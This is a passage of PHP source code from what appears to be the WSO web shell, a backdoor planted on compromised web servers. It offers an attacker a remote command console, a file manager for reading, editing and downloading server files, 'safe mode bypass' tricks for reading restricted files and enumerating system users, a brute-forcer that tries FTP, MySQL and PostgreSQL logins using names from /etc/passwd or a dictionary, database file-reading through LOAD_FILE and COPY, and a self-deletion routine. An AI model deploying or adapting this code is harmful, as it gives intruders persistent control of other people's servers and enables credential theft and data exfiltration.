  651. $files[] = array_merge($tmp, array('type' => 'file'));
  652. elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
  653. $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
  654. elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
  655. $dirs[] = array_merge($tmp, array('type' => 'dir'));
  656. }
  657. $GLOBALS['sort'] = $sort;
  658. function wsoCmp($a, $b) {
  659. if($GLOBALS['sort'][0] != 'size')
  660. return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
  661. else
  662. return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  663. }
  664. usort($files, "wsoCmp");
  665. usort($dirs, "wsoCmp");
  666. $files = array_merge($dirs, $files);
  667. $l = 0;
  668. foreach($files as $f) {
  669. echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" title=' . $f['link'] . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  670. .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
  671. $l = $l?0:1;
  672. }
  673. echo "<tr><td colspan=7>
  674. <input type=hidden name=a value='FilesMan'>
  675. <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
  676. <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
  677. <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
  678. if(class_exists('ZipArchive'))
  679. echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
  680. echo "<option value='tar'>Compress (tar.gz)</option>";
  681. if(!empty($_SESSION['act']) && @count($_SESSION['f']))
  682. echo "<option value='paste'>Paste / Compress</option>";
  683. echo "</select>&nbsp;";
  684. if(!empty($_SESSION['act']) && @count($_SESSION['f']) && (($_SESSION['act'] == 'zip') || ($_SESSION['act'] == 'tar')))
  685. echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_SESSION['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
  686. echo "<input type='submit' value='>>'></td></tr></form></table></div>";
  687. wsoFooter();
  688. }
  689.  
  690.  
  691. function actionStringTools() {
  692. if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  693. if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
  694. if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  695. if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
  696. if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  697. $stringTools = array(
  698. 'Base64 encode' => 'base64_encode',
  699. 'Base64 decode' => 'base64_decode',
  700. 'Url encode' => 'urlencode',
  701. 'Url decode' => 'urldecode',
  702. 'Full urlencode' => 'full_urlencode',
  703. 'md5 hash' => 'md5',
  704. 'sha1 hash' => 'sha1',
  705. 'crypt' => 'crypt',
  706. 'CRC32' => 'crc32',
  707. 'ASCII to HEX' => 'ascii2hex',
  708. 'HEX to ASCII' => 'hex2ascii',
  709. 'HEX to DEC' => 'hexdec',
  710. 'HEX to BIN' => 'hex2bin',
  711. 'DEC to HEX' => 'dechex',
  712. 'DEC to BIN' => 'decbin',
  713. 'BIN to HEX' => 'binhex',
  714. 'BIN to DEC' => 'bindec',
  715. 'String to lower case' => 'strtolower',
  716. 'String to upper case' => 'strtoupper',
  717. 'Htmlspecialchars' => 'htmlspecialchars',
  718. 'String length' => 'strlen',
  719. );
  720. if(isset($_POST['ajax'])) {
  721. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  722. ob_start();
  723. if(in_array($_POST['p1'], $stringTools))
  724. echo $_POST['p1']($_POST['p2']);
  725. $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  726. echo strlen($temp), "\n", $temp;
  727. exit;
  728. }
  729. wsoHeader();
  730. echo '<h1>String conversions</h1><div class=content>';
  731. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  732. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  733. echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
  734. foreach($stringTools as $k => $v)
  735. echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  736. echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  737. if(!empty($_POST['p1'])) {
  738. if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
  739. }
  740. echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
  741. <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
  742. <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
  743. <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
  744. <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
  745. <tr><td></td><td><input type='submit' value='>>'></td></tr>
  746. </table></form>";
  747.  
  748.  
  749. function wsoRecursiveGlob($path) {
  750. if(substr($path, -1) != '/')
  751. $path.='/';
  752. $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
  753. if(is_array($paths)&&@count($paths)) {
  754. foreach($paths as $item) {
  755. if(@is_dir($item)){
  756. if($path!=$item)
  757. wsoRecursiveGlob($item);
  758. } else {
  759. if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
  760. echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
  761. }
  762. }
  763. }
  764. }
  765. if(@$_POST['p3'])
  766. wsoRecursiveGlob($_POST['c']);
  767. echo "</div><br><h1>Search for hash:</h1><div class=content>
  768. <form method='post' target='_blank' name='hf'>
  769. <input type='text' name='hash' style='width:200px;'><br>
  770. <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
  771. <input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>
  772. <input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
  773. <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
  774. <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
  775. </form></div>";
  776. wsoFooter();
  777. }
  778.  
  779.  
  780. function actionFilesTools() {
  781. if( isset($_POST['p1']) )
  782. $_POST['p1'] = urldecode($_POST['p1']);
  783. if(@$_POST['p2']=='download') {
  784. if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
  785. ob_start("ob_gzhandler", 4096);
  786. header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  787. if (function_exists("mime_content_type")) {
  788. $type = @mime_content_type($_POST['p1']);
  789. header("Content-Type: " . $type);
  790. } else
  791. header("Content-Type: application/octet-stream");
  792. $fp = @fopen($_POST['p1'], "r");
  793. if($fp) {
  794. while(!@feof($fp))
  795. echo @fread($fp, 1024);
  796. fclose($fp);
  797. }
  798. }exit;
  799. }
  800. if( @$_POST['p2'] == 'mkfile' ) {
  801. if(!file_exists($_POST['p1'])) {
  802. $fp = @fopen($_POST['p1'], 'w');
  803. if($fp) {
  804. $_POST['p2'] = "edit";
  805. fclose($fp);
  806. }
  807. }
  808. }
  809. wsoHeader();
  810. echo '<h1>File tools</h1><div class=content>';
  811. if( !file_exists(@$_POST['p1']) ) {
  812. echo 'File not exists';
  813. wsoFooter();
  814. return;
  815. }
  816. $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  817. if(!$uid) {
  818. $uid['name'] = @fileowner($_POST['p1']);
  819. $gid['name'] = @filegroup($_POST['p1']);
  820. } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
  821. echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  822. echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
  823. if( empty($_POST['p2']) )
  824. $_POST['p2'] = 'view';
  825. if( is_file($_POST['p1']) )
  826. $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
  827. else
  828. $m = array('Chmod', 'Rename', 'Touch');
  829. foreach($m as $v)
  830. echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  831. echo '<br><br>';
  832. switch($_POST['p2']) {
  833. case 'view':
  834. echo '<pre class=ml1>';
  835. $fp = @fopen($_POST['p1'], 'r');
  836. if($fp) {
  837. while( !@feof($fp) )
  838. echo htmlspecialchars(@fread($fp, 1024));
  839. @fclose($fp);
  840. }
  841. echo '</pre>';
  842. break;
  843. case 'highlight':
  844. if( @is_readable($_POST['p1']) ) {
  845. echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
  846. $code = @highlight_file($_POST['p1'],true);
  847. echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
  848. }
  849. break;
  850. case 'chmod':
  851. if( !empty($_POST['p3']) ) {
  852. $perms = 0;
  853. for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  854. $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  855. if(!@chmod($_POST['p1'], $perms))
  856. echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  857. }
  858. clearstatcache();
  859. echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
  860. break;
  861. case 'edit':
  862. if( !is_writable($_POST['p1'])) {
  863. echo 'File isn\'t writeable';
  864. break;
  865. }
  866. if( !empty($_POST['p3']) ) {
  867. $time = @filemtime($_POST['p1']);
  868. $_POST['p3'] = substr($_POST['p3'],1);
  869. $fp = @fopen($_POST['p1'],"w");
  870. if($fp) {
  871. @fwrite($fp,$_POST['p3']);
  872. @fclose($fp);
  873. echo 'Saved!<br><script>p3_="";</script>';
  874. @touch($_POST['p1'],$time,$time);
  875. }
  876. }
  877. echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
  878. $fp = @fopen($_POST['p1'], 'r');
  879. if($fp) {
  880. while( !@feof($fp) )
  881. echo htmlspecialchars(@fread($fp, 1024));
  882. @fclose($fp);
  883. }
  884. echo '</textarea><input type=submit value=">>"></form>';
  885. break;
  886. case 'hexdump':
  887. $c = @file_get_contents($_POST['p1']);
  888. $n = 0;
  889. $h = array('00000000<br>','','');
  890. $len = strlen($c);
  891. for ($i=0; $i<$len; ++$i) {
  892. $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  893. switch ( ord($c[$i]) ) {
  894. case 0: $h[2] .= ' '; break;
  895. case 9: $h[2] .= ' '; break;
  896. case 10: $h[2] .= ' '; break;
  897. case 13: $h[2] .= ' '; break;
  898. default: $h[2] .= $c[$i]; break;
  899. }
  900. $n++;
  901. if ($n == 32) {
  902. $n = 0;
  903. if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  904. $h[1] .= '<br>';
  905. $h[2] .= "\n";
  906. }
  907. }
  908. echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  909. break;
  910. case 'rename':
  911. if( !empty($_POST['p3']) ) {
  912. if(!@rename($_POST['p1'], $_POST['p3']))
  913. echo 'Can\'t rename!<br>';
  914. else
  915. die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  916. }
  917. echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
  918. break;
  919. case 'touch':
  920. if( !empty($_POST['p3']) ) {
  921. $time = strtotime($_POST['p3']);
  922. if($time) {
  923. if(!touch($_POST['p1'],$time,$time))
  924. echo 'Fail!';
  925. else
  926. echo 'Touched!';
  927. } else echo 'Bad time format!';
  928. }
  929. clearstatcache();
  930. echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
  931. break;
  932. }
  933. echo '</div>';
  934. wsoFooter();
  935. }
  936.  
  937.  
  938. function actionSafeMode() {
  939. $temp='';
  940. ob_start();
  941. switch($_POST['p1']) {
  942. case 1:
  943. $temp=@tempnam($test, 'cx');
  944. if(@copy("compress.zlib://".$_POST['p2'], $temp)){
  945. echo @file_get_contents($temp);
  946. unlink($temp);
  947. } else
  948. echo 'Sorry... Can\'t open file';
  949. break;
  950. case 2:
  951. $files = glob($_POST['p2'].'*');
  952. if( is_array($files) )
  953. foreach ($files as $filename)
  954. echo $filename."\n";
  955. break;
  956. case 3:
  957. $ch = curl_init("file://".$_POST['p2']."\x00".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
  958. curl_exec($ch);
  959. break;
  960. case 4:
  961. ini_restore("safe_mode");
  962. ini_restore("open_basedir");
  963. include($_POST['p2']);
  964. break;
  965. case 5:
  966. for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  967. $uid = @posix_getpwuid($_POST['p2']);
  968. if ($uid)
  969. echo join(':',$uid)."\n";
  970. }
  971. break;
  972. }
  973. $temp = ob_get_clean();
  974. wsoHeader();
  975. echo '<h1>Safe mode bypass</h1><div class=content>';
  976. echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
  977. if($temp)
  978. echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
  979. echo '</div>';
  980. wsoFooter();
  981. }
  982.  
  983.  
  984. function actionConsole() {
  985. if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
  986. $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = true;
  987. $_POST['p1'] .= ' 2>&1';
  988. } elseif(!empty($_POST['p1']))
  989. $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = false;
  990.  
  991.  
  992. if(isset($_POST['ajax'])) {
  993. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  994. ob_start();
  995. echo "d.cf.cmd.value='';\n";
  996. $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
  997. if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
  998. if(@chdir($match[1])) {
  999. $GLOBALS['cwd'] = @getcwd();
  1000. echo "c_='".$GLOBALS['cwd']."';";
  1001. }
  1002. }
  1003. echo "d.cf.output.value+='".$temp."';";
  1004. echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
  1005. $temp = ob_get_clean();
  1006. echo strlen($temp), "\n", $temp;
  1007. exit;
  1008. }
  1009. wsoHeader();
  1010. echo "<script>
  1011. if(window.Event) window.captureEvents(Event.KEYDOWN);
  1012. var cmds = new Array('');
  1013. var cur = 0;
  1014. function kp(e) {
  1015. var n = (window.Event) ? e.which : e.keyCode;
  1016. if(n == 38) {
  1017. cur--;
  1018. if(cur>=0)
  1019. document.cf.cmd.value = cmds[cur];
  1020. else
  1021. cur++;
  1022. } else if(n == 40) {
  1023. cur++;
  1024. if(cur < cmds.length)
  1025. document.cf.cmd.value = cmds[cur];
  1026. else
  1027. cur--;
  1028. }
  1029. }
  1030. function add(cmd) {
  1031. cmds.pop();
  1032. cmds.push(cmd);
  1033. cmds.push('');
  1034. cur = cmds.length-1;
  1035. }
  1036. </script>";
  1037. echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
  1038. foreach($GLOBALS['aliases'] as $n => $v) {
  1039. if($v == '') {
  1040. echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  1041. continue;
  1042. }
  1043. echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  1044. }
  1045. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1046. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1047. echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
  1048. if(!empty($_POST['p1'])) {
  1049. echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
  1050. }
  1051. echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
  1052. echo '</form></div><script>d.cf.cmd.focus();</script>';
  1053. wsoFooter();
  1054. }
  1055.  
  1056.  
  1057. function actionLogout() {
  1058. session_destroy();
  1059. die('bye!');
  1060. }
  1061.  
  1062.  
  1063. function actionSelfRemove() {
  1064.  
  1065.  
  1066. if($_POST['p1'] == 'yes')
  1067. if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
  1068. die('Shell has been removed');
  1069. else
  1070. echo 'unlink error!';
  1071. if($_POST['p1'] != 'yes')
  1072. wsoHeader();
  1073. echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
  1074. wsoFooter();
  1075. }
  1076.  
  1077.  
  1078. function actionBruteforce() {
  1079. wsoHeader();
  1080. if( isset($_POST['proto']) ) {
  1081. echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
  1082. if( $_POST['proto'] == 'ftp' ) {
  1083. function bruteForce($ip,$port,$login,$pass) {
  1084. $fp = @ftp_connect($ip, $port?$port:21);
  1085. if(!$fp) return false;
  1086. $res = @ftp_login($fp, $login, $pass);
  1087. @ftp_close($fp);
  1088. return $res;
  1089. }
  1090. } elseif( $_POST['proto'] == 'mysql' ) {
  1091. function bruteForce($ip,$port,$login,$pass) {
  1092. $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
  1093. @mysql_close($res);
  1094. return $res;
  1095. }
  1096. } elseif( $_POST['proto'] == 'pgsql' ) {
  1097. function bruteForce($ip,$port,$login,$pass) {
  1098. $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
  1099. $res = @pg_connect($str);
  1100. @pg_close($res);
  1101. return $res;
  1102. }
  1103. }
  1104. $success = 0;
  1105. $attempts = 0;
  1106. $server = explode(":", $_POST['server']);
  1107. if($_POST['type'] == 1) {
  1108. $temp = @file('/etc/passwd');
  1109. if( is_array($temp) )
  1110. foreach($temp as $line) {
  1111. $line = explode(":", $line);
  1112. ++$attempts;
  1113. if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
  1114. $success++;
  1115. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
  1116. }
  1117. if(@$_POST['reverse']) {
  1118. $tmp = "";
  1119. for($i=strlen($line[0])-1; $i>=0; --$i)
  1120. $tmp .= $line[0][$i];
  1121. ++$attempts;
  1122. if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
  1123. $success++;
  1124. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
  1125. }
  1126. }
  1127. }
  1128. } elseif($_POST['type'] == 2) {
  1129. $temp = @file($_POST['dict']);
  1130. if( is_array($temp) )
  1131. foreach($temp as $line) {
  1132. $line = trim($line);
  1133. ++$attempts;
  1134. if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
  1135. $success++;
  1136. echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
  1137. }
  1138. }
  1139. }
  1140. echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
  1141. }
  1142. echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
  1143. .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
  1144. .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
  1145. .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
  1146. .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
  1147. .'<span>Server:port</span></td>'
  1148. .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
  1149. .'<tr><td><span>Brute type</span></td>'
  1150. .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
  1151. .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
  1152. .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
  1153. .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
  1154. .'<td><input type=text name=login value="root"></td></tr>'
  1155. .'<tr><td><span>Dictionary</span></td>'
  1156. .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
  1157. .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
  1158. echo '</div><br>';
  1159. wsoFooter();
  1160. }
  1161.  
  1162.  
  1163. function actionSql() {
  1164. class DbClass {
  1165. var $type;
  1166. var $link;
  1167. var $res;
  1168. function DbClass($type) {
  1169. $this->type = $type;
  1170. }
  1171. function connect($host, $user, $pass, $dbname){
  1172. switch($this->type) {
  1173. case 'mysql':
  1174. if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  1175. break;
  1176. case 'pgsql':
  1177. $host = explode(':', $host);
  1178. if(!$host[1]) $host[1]=5432;
  1179. if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  1180. break;
  1181. }
  1182. return false;
  1183. }
  1184. function selectdb($db) {
  1185. switch($this->type) {
  1186. case 'mysql':
  1187. if (@mysql_select_db($db))return true;
  1188. break;
  1189. }
  1190. return false;
  1191. }
  1192. function query($str) {
  1193. switch($this->type) {
  1194. case 'mysql':
  1195. return $this->res = @mysql_query($str);
  1196. break;
  1197. case 'pgsql':
  1198. return $this->res = @pg_query($this->link,$str);
  1199. break;
  1200. }
  1201. return false;
  1202. }
  1203. function fetch() {
  1204. $res = func_num_args()?func_get_arg(0):$this->res;
  1205. switch($this->type) {
  1206. case 'mysql':
  1207. return @mysql_fetch_assoc($res);
  1208. break;
  1209. case 'pgsql':
  1210. return @pg_fetch_assoc($res);
  1211. break;
  1212. }
  1213. return false;
  1214. }
  1215. function listDbs() {
  1216. switch($this->type) {
  1217. case 'mysql':
  1218. return $this->query("SHOW databases");
  1219. break;
  1220. case 'pgsql':
  1221. return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
  1222. break;
  1223. }
  1224. return false;
  1225. }
  1226. function listTables() {
  1227. switch($this->type) {
  1228. case 'mysql':
  1229. return $this->res = $this->query('SHOW TABLES');
  1230. break;
  1231. case 'pgsql':
  1232. return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
  1233. break;
  1234. }
  1235. return false;
  1236. }
  1237. function error() {
  1238. switch($this->type) {
  1239. case 'mysql':
  1240. return @mysql_error();
  1241. break;
  1242. case 'pgsql':
  1243. return @pg_last_error();
  1244. break;
  1245. }
  1246. return false;
  1247. }
  1248. function setCharset($str) {
  1249. switch($this->type) {
  1250. case 'mysql':
  1251. if(function_exists('mysql_set_charset'))
  1252. return @mysql_set_charset($str, $this->link);
  1253. else
  1254. $this->query('SET CHARSET '.$str);
  1255. break;
  1256. case 'pgsql':
  1257. return @pg_set_client_encoding($this->link, $str);
  1258. break;
  1259. }
  1260. return false;
  1261. }
  1262. function loadFile($str) {
  1263. switch($this->type) {
  1264. case 'mysql':
  1265. return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
  1266. break;
  1267. case 'pgsql':
  1268. $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
  1269. $r=array();
  1270. while($i=$this->fetch())
  1271. $r[] = $i['file'];
  1272. $this->query('drop table wso2');
  1273. return array('file'=>implode("\n",$r));
  1274. break;
  1275. }
  1276. return false;
  1277. }
  1278. function dump($table, $fp = false) {
  1279. switch($this->type) {
  1280. case 'mysql':
  1281. $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  1282. $create = mysql_fetch_array($res);
  1283. $sql = $create[1].";\n";
  1284. if($fp) fwrite($fp, $sql); else echo($sql);
  1285. $this->query('SELECT * FROM `'.$table.'`');
  1286. $head = true;
  1287. while($item = $this->fetch()) {
  1288. $columns = array();
  1289. foreach($item as $k=>$v) {
  1290. if($v == null)
  1291. $item[$k] = "NULL";
  1292. elseif(is_numeric($v))
  1293. $item[$k] = $v;
  1294. else
  1295. $item[$k] = "'".@mysql_real_escape_string($v)."'";
  1296. $columns[] = "`".$k."`";
  1297. }
  1298. if($head) {
  1299. $sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
  1300. $head = false;
